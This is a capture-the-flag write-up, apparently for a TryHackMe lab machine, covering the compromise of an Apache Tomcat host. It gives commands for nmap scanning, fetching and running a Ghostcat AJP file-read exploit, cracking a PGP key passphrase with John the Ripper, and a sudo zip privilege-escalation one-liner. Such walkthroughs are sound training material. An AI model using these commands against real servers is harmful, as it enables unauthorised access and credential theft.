December 30, 20223 minutes

Machine link

Attacker IP = 10.10.10.10

Target IP = 10.10.126.65

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.126.65
PING 10.10.126.65 (10.10.126.65) 56(84) bytes of data.
64 bytes from 10.10.126.65: icmp_seq=1 ttl=63 time=53.0 ms

--- 10.10.126.65 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.964/52.964/52.964/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.126.65
   5   │     [*] Open ports: 22,53,8009,8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p22,53,8009,8080 -sC -sV 10.10.126.65

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3c89f0b6ac5fe95540be9e3ba93db7c (RSA)
|   256 dd1a09f59963a3430d2d90d8e3e11fb9 (ECDSA)
|_  256 48d1301b386cc653ea3081805d0cf105 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30

Port 8009#

With searchsploit we can check whether there is any exploit for AJP

❯ searchsploit ajp
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion       | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Met | multiple/webapps/49039.rb
-------------------------------------------------------- ---------------------------------

48143.py doesn’t work well. I found another exploit by 00theway: https://github.com/00theway/Ghostcat-CNVD-2020-10487

wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
python3 ajpShooter.py http://10.10.126.65 8009 /WEB-INF/web.xml read

On one specific line there is a username and a password

<description>
     Welcome to GhostCat
	skyfuck:--pass--
</description>

Privilege escalation#

Merlin#

We can now connect over SSH as skyfuck. Once in, the first thing we see are two files: credential.pgp and tryhackme.asc. With cat tryhackme.asc we can see it contains a PGP private key, which we can use to read the contents of credential.pgp.

gpg --import tryhackme.asc
gpg --decrypt credential.pgp

It asks for a passphrase

We start a Python server on the target machine to copy tryhackme.asc to our machine with python3 -m http.server, and from our machine we download it with wget: wget http://10.10.126.65:8000/tryhackme.asc

On our machine, we extract the hash with

gpg2john tryhackme.asc > hash

Now we can brute force the passphrase with the rockyou.txt wordlist

john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt hash

It finds the passphrase, so now we can access credentials.pgp and see the credentials of the user merlin.

Inside merlin’s home folder we can find the user.txt flag.

Root#

With sudo -l we can see that merlin can run zip as root without a password, and we can abuse it like this.

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

Now we are root and can read the flag in /root/root.txt